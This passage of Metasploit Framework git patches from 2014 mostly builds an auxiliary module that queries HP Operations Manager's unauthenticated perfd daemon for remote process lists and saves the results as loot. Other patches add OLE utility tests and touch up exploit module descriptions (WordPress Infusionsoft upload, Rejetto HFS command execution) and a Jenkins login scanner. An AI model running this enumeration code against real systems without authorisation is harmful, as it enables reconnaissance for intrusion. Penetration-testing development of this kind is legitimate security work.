print_error("#{target_host}:#{rport}, Perfd server banner detection failed!") + end + disconnect rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e rescue Timeout::Error => e print_error(e.message) From c72593fae4e042d0cd25b2c234857df3437f96db Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sat, 11 Oct 2014 11:12:49 -0700 Subject: [PATCH 088/107] Store just banner for service, loot the rest. Also, minor style. --- modules/auxiliary/gather/hp_enum_perfd.rb | 27 +++++++++++++++++------ 1 file changed, 20 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index 62d73d577d..c14825599c 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -33,18 +33,31 @@ class Metasploit3 < Msf::Auxiliary cmd = datastore['CMD'] connect - sock.put("\n#{cmd}\n") - Rex.sleep(1) - resp = sock.get_once + banner_resp = sock.get_once + if banner_resp && banner_resp =~ /^Welcome to the perfd server/ + banner_resp.strip! + print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}") + perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp) + sock.puts("\n#{cmd}\n") + Rex.sleep(1) + cmd_resp = sock.get_once - if (resp && resp =~ /Welcome/) - print_good("#{target_host}:#{rport}, Perfd server banner: #{resp}") - report_service(:host => rhost, :port => rport, :name => "perfd", :proto => "tcp", :info => resp) + loot_name = "HP Ops Agent perfd #{cmd}" + path = store_loot( + "hp.ops.agent.perfd.#{cmd}", + 'text/plain', + target_host, + cmd_resp, + nil, + "HP Ops Agent perfd #{cmd}", + perfd_service + ) + print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}") else print_error("#{target_host}:#{rport}, Perfd server banner detection failed!") end disconnect - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue Timeout::Error => e print_error(e.message) end From 4ffc8b153c4d50263dcd18c9137fdcb54aff22d4 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sat, 11 Oct 2014 11:38:00 -0700 Subject: [PATCH 089/107] Support running more than one perfd command in a single pass --- modules/auxiliary/gather/hp_enum_perfd.rb | 52 ++++++++++++++++------- 1 file changed, 36 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index c14825599c..ae10be3a82 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -10,6 +10,8 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + ALLOWED_COMMANDS = %w(u i p a g l T A q) + def initialize super( 'Name' => 'HP Operations Manager Perfd Environment Scanner', @@ -21,16 +23,30 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) + commands_help = ALLOWED_COMMANDS.join(' ') register_options( [ Opt::RPORT(5227), - OptEnum.new("CMD", [true, 'Command to execute', 'p', %w(u i p a g l T A q)]) + OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help]) ], self.class) end + def commands + datastore['COMMANDS'].split(/[, ]+/).map(&:strip) + end + + def setup + super + if datastore['COMMANDS'] + bad_commands = commands - ALLOWED_COMMANDS + unless bad_commands.empty? + raise ArgumentError, "Bad perfd command(s) #{bad_commands}" + end + end + end + def run_host(target_host) begin - cmd = datastore['CMD'] connect banner_resp = sock.get_once @@ -38,21 +54,25 @@ class Metasploit3 < Msf::Auxiliary banner_resp.strip! print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}") perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp) - sock.puts("\n#{cmd}\n") - Rex.sleep(1) - cmd_resp = sock.get_once + sock.puts("\n") - loot_name = "HP Ops Agent perfd #{cmd}" - path = store_loot( - "hp.ops.agent.perfd.#{cmd}", - 'text/plain', - target_host, - cmd_resp, - nil, - "HP Ops Agent perfd #{cmd}", - perfd_service - ) - print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}") + commands.each do |command| + sock.puts("#{command}\n") + Rex.sleep(1) + command_resp = sock.get_once + + loot_name = "HP Ops Agent perfd #{command}" + path = store_loot( + "hp.ops.agent.perfd.#{command}", + 'text/plain', + target_host, + command_resp, + nil, + "HP Ops Agent perfd #{command}", + perfd_service + ) + print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}") + end else print_error("#{target_host}:#{rport}, Perfd server banner detection failed!") end From c80a5b5796037a5682c954c724c5834263adaad2 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sat, 11 Oct 2014 13:00:30 -0700 Subject: [PATCH 090/107] List commands in sorted order --- modules/auxiliary/gather/hp_enum_perfd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index ae10be3a82..75a6bf4614 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report - ALLOWED_COMMANDS = %w(u i p a g l T A q) + ALLOWED_COMMANDS = %w(a A i g l p q T u) def initialize super( From c3a58cec9e0f12c300df2a1a35f3531f1de5aee9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sat, 11 Oct 2014 13:07:52 -0700 Subject: [PATCH 091/107] Make note of other commands to investigate --- modules/auxiliary/gather/hp_enum_perfd.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index 75a6bf4614..056ed4d0d1 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -10,7 +10,10 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report - ALLOWED_COMMANDS = %w(a A i g l p q T u) + # TODO: figure out what these do: + # o: valid command, takes no args, does nothing + # B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args + ALLOWED_COMMANDS = %w(a A i g l p t T u w Z) def initialize super( @@ -40,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary if datastore['COMMANDS'] bad_commands = commands - ALLOWED_COMMANDS unless bad_commands.empty? - raise ArgumentError, "Bad perfd command(s) #{bad_commands}" + fail ArgumentError, "Bad perfd command(s) #{bad_commands}" end end end From 76275a259ac53a63c1720371ea8cd2956af95b8e Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 12 Oct 2014 18:34:13 -0700 Subject: [PATCH 092/107] Minor style cleanup of help and a failure message --- modules/auxiliary/gather/hp_enum_perfd.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index 056ed4d0d1..998024c76a 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) - commands_help = ALLOWED_COMMANDS.join(' ') + commands_help = ALLOWED_COMMANDS.join(',') register_options( [ Opt::RPORT(5227), @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary if datastore['COMMANDS'] bad_commands = commands - ALLOWED_COMMANDS unless bad_commands.empty? - fail ArgumentError, "Bad perfd command(s) #{bad_commands}" + fail ArgumentError, "Bad perfd command(s): #{bad_commands}" end end end From 8b9c8da4aca1817246a356278422e2950d471947 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 13 Oct 2014 13:41:43 -0500 Subject: [PATCH 093/107] Add specs for Rex::OLE::Util --- spec/lib/rex/ole/util_spec.rb | 406 ++++++++++++++++++++++++++++++++++ 1 file changed, 406 insertions(+) create mode 100644 spec/lib/rex/ole/util_spec.rb diff --git a/spec/lib/rex/ole/util_spec.rb b/spec/lib/rex/ole/util_spec.rb new file mode 100644 index 0000000000..12e7babe74 --- /dev/null +++ b/spec/lib/rex/ole/util_spec.rb @@ -0,0 +1,406 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::Util do + + describe ".Hexify32array" do + subject(:hex_array) { described_class.Hexify32array(arr) } + + context "when arr is empty" do + let(:arr) { [] } + it "returns empty string" do + is_expected.to be_empty + end + end + + context "when arr is filled" do + let(:arr) { [0, 1, 0x20, 0x40, 0x100, 0x200, 0x12345678] } + + it "returns an string with the hexify array" do + is_expected.to eq('0x00000000 0x00000001 0x00000020 0x00000040 0x00000100 0x00000200 0x12345678') + end + end + end + + describe ".Printable" do + subject(:printable_buf) { described_class.Printable(buf) } + + context "when buf is empty" do + let(:buf) { '' } + it "returns empty string" do + is_expected.to be_empty + end + end + + context "when buf only contains printable chars" do + let(:buf) { 'abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()' } + + it "returns the same string" do + is_expected.to eq(buf) + end + end + + context "when buf contains no printable chars" do + let(:buf) { "abcde\x88" } + + it "returns hex representation for non printable chars" do + is_expected.to eq('abcde\\x88') + end + end + end + + describe ".set_endian" do + subject(:set_endian) { described_class.set_endian(endian) } + let(:endian) { Rex::OLE::LITTLE_ENDIAN } + + it "sets the endian field" do + set_endian + expect(described_class.instance_variable_get(:@endian)).to eq(0xfffe) + end + + it "returns the set endianness" do + is_expected.to eq(0xfffe) + end + end + + describe ".get64" do + subject(:quad_word) { described_class.get64(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "raises a null dereference exception" do + expect { quad_word }.to raise_error(NoMethodError) + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34\x56\x78\x12\x34\x56\x78" } + let(:offset) { 8 } + + it "raises a null dereference exceptioon" do + expect { quad_word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the little endian quad word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x8877665544332211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the big endian quad word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x1122334455667788) + end + end + end + + describe ".pack64" do + subject(:packed_quad_word) { described_class.pack64(value) } + let(:value) { 0x1122334455667788 } + + context "when @endian is little endian" do + it "returns the packed little endian quad word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x88\x77\x66\x55\x44\x33\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian quad word" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88") + end + end + end + + describe ".get32" do + subject(:word) { described_class.get32(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34\x56" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the little endian word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x44332211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88" } + let(:offset) { 1 } + + it "returns the big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x11223344) + end + end + end + + describe ".pack32" do + subject(:packed_word) { described_class.pack32(value) } + let(:value) { 0x11223344 } + + context "when @endian is little endian" do + it "returns the packed little endian word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x44\x33\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44") + end + end + end + + describe ".get32array" do + subject(:word_array) { described_class.get32array(buf) } + + context "when buf is empty" do + let(:buf) { '' } + + it "returns an empty array" do + is_expected.to eq([]) + end + end + + context "when buf isn't empty" do + let(:buf) { "\x11\x22\x33\x44\x55\x66\x77\x88" } + + context "when @endian is little endian" do + it "unpacks an array of little endian words" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq([0x44332211, 0x88776655]) + end + end + + context "when @endian is big endian" do + it "unpacks an array of big endian words" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq([0x11223344, 0x55667788]) + end + end + end + end + + describe ".pack32array" do + subject(:packed_word) { described_class.pack32array(arr) } + + context "when arr is empty" do + let(:arr) { [] } + it "returns an empty string" do + is_expected.to eq('') + end + end + + context "when arr isn't empty" do + let(:arr) { [0x11223344, 0x55667788] } + + context "when @endian is little endian" do + it "returns the little endian words array packed" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x44\x33\x22\x11\x88\x77\x66\x55") + end + end + + context "when @endian is big endian" do + it "returns the big endian words array packed" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22\x33\x44\x55\x66\x77\x88") + end + end + end + + end + + describe ".get16" do + subject(:half_word) { described_class.get16(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { half_word }.to raise_error(NoMethodError) + end + end + + context "when @endian is little endian" do + let(:buf) { "\x00\x11\x22\x33\x44" } + let(:offset) { 1 } + + it "returns the little endian half word at offset" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq(0x2211) + end + end + + context "when @endian is big endian" do + let(:buf) { "\x00\x11\x22\x33\x44" } + let(:offset) { 1 } + + it "returns the big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq(0x1122) + end + end + end + + describe ".pack16" do + subject(:packed_word) { described_class.pack16(value) } + let(:value) { 0x1122 } + + context "when @endian is little endian" do + it "returns the packed little endian word" do + described_class.set_endian(Rex::OLE::LITTLE_ENDIAN) + is_expected.to eq("\x22\x11") + end + end + + context "when @endian is big endian" do + it "returns the packed big endian word at offset" do + described_class.set_endian(Rex::OLE::BIG_ENDIAN) + is_expected.to eq("\x11\x22") + end + end + end + + describe ".get8" do + subject(:byte) { described_class.get8(buf, offset) } + + context "when buf is empty" do + let(:buf) { '' } + let(:offset) { 0 } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when buf is shorter than offset" do + let(:buf) { "\x12\x34" } + let(:offset) { 4 } + + it "raises a null dereference exceptioon" do + expect { byte }.to raise_error(NoMethodError) + end + end + + let(:buf) { "\x00\x11\x22" } + let(:offset) { 1 } + + it "returns the byte at offset" do + is_expected.to eq(0x11) + end + end + + describe ".pack8" do + subject(:packed_byte) { described_class.pack8(value) } + let(:value) { 0x11 } + + it "returns the packed byte" do + is_expected.to eq("\x11") + end + end + + describe ".getUnicodeString" do + subject(:unicode_string) { described_class.getUnicodeString(buf) } + let(:buf) { "T\x00h\x00i\x00s\x00 \x00i\x00s\x00 \x00a\x00n\x00 \x00u\x00n\x00i\x00c\x00o\x00d\x00e\x00 \x00s\x00t\x00r\x00i\x00n\x00g\x00" } + + it "unpacks unicode string" do + is_expected.to eq('This is an unicode string') + end + + context "when buf contains unicode nulls" do + let(:buf) { "T\x00h\x00\x00i\x00s\x00" } + + it "unpacks unicode string until null" do + is_expected.to eq('Th') + end + end + end + + describe ".putUnicodeString" do + subject(:packed_byte) { described_class.putUnicodeString(buf) } + let(:buf) { 'A' * 32 } + + it "returns the unicode version of the string" do + is_expected.to eq("A\x00" * 32) + end + + context "when buf is shorter than 32" do + let(:buf) { 'A' * 30 } + it "adds null byte padding" do + is_expected.to eq(("A\x00" * 30) + "\x00\x00\x00\x00") + end + end + end + + describe ".name_is_valid" do + subject(:valid_name) { described_class.name_is_valid(name) } + + context "when name length is greater than 31" do + let(:name) { 'A' * 32 } + it "returns nil" do + is_expected.to be_nil + end + end + + context "when name contains [0x00..0x1f] chars" do + let(:name) { "ABCDE\x1f" } + it "returns nil" do + is_expected.to be_nil + end + end + + context "when name doesn't contain [0x00..0x1f] chars" do + let(:name) { "ABCDE\x88" } + it "returns true" do + is_expected.to be_truthy + end + end + end +end From 51f1309cc3f1a013c70731685234d7408bc3f2c3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 13 Oct 2014 14:28:58 -0500 Subject: [PATCH 094/107] Add specs for Rex::OLE::CLSID --- spec/lib/rex/ole/clsid_spec.rb | 55 ++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 spec/lib/rex/ole/clsid_spec.rb diff --git a/spec/lib/rex/ole/clsid_spec.rb b/spec/lib/rex/ole/clsid_spec.rb new file mode 100644 index 0000000000..b7bc4833c9 --- /dev/null +++ b/spec/lib/rex/ole/clsid_spec.rb @@ -0,0 +1,55 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/ole' + +describe Rex::OLE::CLSID do + + let(:sample_clsid) { "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" } + + subject(:clsid) do + described_class.new(sample_clsid) + end + + describe "#initialize" do + subject(:clsid_class) do + described_class.allocate + end + + it "returns the buf value" do + expect(clsid_class.send(:initialize, sample_clsid)).to eq(sample_clsid) + end + + context "when buf is nil" do + it "returns padding" do + expect(clsid_class.send(:initialize)).to eq("\x00" * 16) + end + end + end + + describe "#pack" do + it "returns the buf field" do + expect(clsid.pack).to eq(sample_clsid) + end + end + + describe "#to_s" do + it "returns printable clsid" do + expect(clsid.to_s).to eq('33221100-5544-7766-8899-aabbccddeeff') + end + + context "when buf is nil" do + it "raises NoMethodError" do + clsid.instance_variable_set(:@buf, nil) + expect { clsid.to_s }.to raise_error(NoMethodError) + end + end + + context "when buf is shorter than 16 bytes" do + it "raises TypeError" do + clsid.instance_variable_set(:@buf, '') + expect { clsid.to_s }.to raise_error(TypeError) + end + end + end +end From 2f20998eaac4fc82a1d7e16b361d49b55e795e94 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 13 Oct 2014 16:01:43 -0500 Subject: [PATCH 095/107] Force Rex::OLE::Util to work on LITTLE_ENDIAN --- spec/lib/rex/ole/clsid_spec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/spec/lib/rex/ole/clsid_spec.rb b/spec/lib/rex/ole/clsid_spec.rb index b7bc4833c9..1217a73f46 100644 --- a/spec/lib/rex/ole/clsid_spec.rb +++ b/spec/lib/rex/ole/clsid_spec.rb @@ -35,6 +35,7 @@ describe Rex::OLE::CLSID do describe "#to_s" do it "returns printable clsid" do + Rex::OLE::Util.set_endian(Rex::OLE::LITTLE_ENDIAN) expect(clsid.to_s).to eq('33221100-5544-7766-8899-aabbccddeeff') end From 70d1eefaa95831fb72e67214b9c519074ee4d16c Mon Sep 17 00:00:00 2001 From: Pedro Laguna Date: Tue, 14 Oct 2014 11:24:59 +0100 Subject: [PATCH 096/107] Update reverse_tcp.rb As I am using a exploit that does a check on the Server HTTP headers to identify the target I saw an error message that reads like this: >The target server fingerprint "" does not match "(?-mix:(Jetty|JBoss))", use 'set FingerprintCheck false' to disable this check. Then, while using a HTTP proxy to analyse the requests I am presented with an error that tells me to set another internal option to override a default behaviour. Although it should be pretty clear to everyone using the metasploit framework, I think it is more convenient if all error messages have the same format/way to present suggestions, in this case, presenting the full command the user needs to introduce in order to carry on with the execution of the exploit. --- lib/msf/core/handler/reverse_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 9fbc2aa46d..2459619249 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -70,7 +70,7 @@ module ReverseTcp # def setup_handler if datastore['Proxies'] and not datastore['ReverseAllowProxy'] - raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + raise RuntimeError, "TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour." end ex = false From 6ea3a78b470dafb830a7822e321c0a40035e7591 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 14 Oct 2014 11:57:43 -0500 Subject: [PATCH 097/107] Clarify the description on HP perfd module Introduced in #3992 --- modules/auxiliary/gather/hp_enum_perfd.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb index 998024c76a..f99197800f 100644 --- a/modules/auxiliary/gather/hp_enum_perfd.rb +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -19,8 +19,8 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'HP Operations Manager Perfd Environment Scanner', 'Description' => %q{ - This module will enumerate the environment - HP Operation Manager via daemon perfd. + This module will enumerate the process list of a remote machine by abusing + HP Operation Manager's unauthenticated 'perfd' daemon. }, 'Author' => [ 'Roberto Soares Espreto ' ], 'License' => MSF_LICENSE From b1223165d4250b204a81c654dd8d113222ca14c9 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 14 Oct 2014 12:00:50 -0500 Subject: [PATCH 098/107] Trivial grammar fixes --- modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb | 2 +- modules/exploits/windows/http/rejetto_hfs_exec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb index b6f808a934..ef966a230b 100644 --- a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Wordpress InfusionSoft Upload Vulnerability', 'Description' => %q{ - This module exploits an arbitrary PHP code upload in the wordpress Infusionsoft Gravity + This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file upload and remote code execution. }, diff --git a/modules/exploits/windows/http/rejetto_hfs_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb index 4311617bd6..bcc051ceb9 100644 --- a/modules/exploits/windows/http/rejetto_hfs_exec.rb +++ b/modules/exploits/windows/http/rejetto_hfs_exec.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => "Rejetto HttpFileServer Remote Command Execution", 'Description' => %q{ Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a - poor regex in the file ParserLib.pas. This module exploit the HFS scripting commands by + poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8. }, From 56534e7ad37c59f83b54a3391d22f4e25eb08ad3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 14 Oct 2014 12:01:09 -0500 Subject: [PATCH 099/107] Changed a login failed to vprint instead of print People often like to supress failed attempts. Note that this change may or may not have any effect, given the status of #3995. This module was introduced in PR #3947. --- modules/auxiliary/scanner/http/jenkins_login.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index a921eba05d..283c99ff2d 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'Jenkins-CI Login Utility', - 'Description' => 'This module simply attempts to login to a Jenkins-CI instance using a specific user/pass.', + 'Description' => 'This module attempts to login to a Jenkins-CI instance using a specific user/pass.', 'Author' => [ 'Nicholas Starke ' ], 'License' => MSF_LICENSE ) @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" end end end From 5c4f61057fc39e567fcfd09685a3e0f2a028f35c Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 14 Oct 2014 12:41:02 -0500 Subject: [PATCH 100/107] Show available actions for info --- lib/msf/base/serializer/readable_text.rb | 53 +++++++++++++++++++++++- 1 file changed, 52 insertions(+), 1 deletion(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 1a056b4d51..fa46ccfc71 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -31,7 +31,7 @@ class ReadableText when MODULE_AUX return dump_auxiliary_module(mod, indent) when MODULE_POST - return dump_basic_module(mod, indent) + return dump_post_module(mod, indent) else return dump_generic_module(mod, indent) end @@ -232,6 +232,57 @@ class ReadableText } output << "\n" + # Actions + if mod.action + output << "Available actions:\n" + output << dump_module_actions(mod, indent) + end + + # Options + if (mod.options.has_options?) + output << "Basic options:\n" + output << dump_options(mod, indent) + output << "\n" + end + + # Description + output << "Description:\n" + output << word_wrap(Rex::Text.compress(mod.description)) + output << "\n" + + # References + output << dump_references(mod, indent) + + return output + end + + # Dumps information about a post module. + # + # @param mod [Msf::Post] the post module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. + def self.dump_post_module(mod, indent = '') + output = "\n" + output << " Name: #{mod.name}\n" + output << " Module: #{mod.fullname}\n" + output << " Platform: #{mod.platform_to_s}\n" + output << " Arch: #{mod.arch_to_s}\n" + output << " Rank: #{mod.rank_to_s.capitalize}\n" + output << "\n" + + # Authors + output << "Provided by:\n" + mod.each_author { |author| + output << indent + author.to_s + "\n" + } + output << "\n" + + # Actions + if mod.action + output << "Available actions:\n" + output << dump_module_actions(mod, indent) + end + # Options if (mod.options.has_options?) output << "Basic options:\n" From 9f6008e275992d873a8aac5268f69e604c9ff025 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 14 Oct 2014 13:39:36 -0500 Subject: [PATCH 101/107] A couple OSVDB updates for recent modules --- modules/auxiliary/scanner/snmp/sbg6580_enum.rb | 1 + modules/exploits/windows/local/bthpan.rb | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index e86a2e487a..55ba140296 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -23,6 +23,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ], [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], + [ 'OSVDB', '110555'] ], 'Author' => 'Matthew Kienow ', 'License' => MSF_LICENSE diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index 631ca6b483..6d5b471db6 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -54,7 +54,8 @@ class Metasploit3 < Msf::Exploit::Local 'References' => [ [ 'CVE', '2014-4971' ], - [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ] + [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ], + [ 'OSVDB', '109387' ] ], 'DisclosureDate' => 'Jul 18 2014', 'DefaultTarget' => 0 From bdbad5a81d812906a53175b8d33d32d717a5867e Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 14 Oct 2014 13:43:59 -0500 Subject: [PATCH 102/107] Fix misaligned bracket --- modules/auxiliary/scanner/snmp/sbg6580_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb index 55ba140296..87c6b0e81a 100644 --- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ], [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], - [ 'OSVDB', 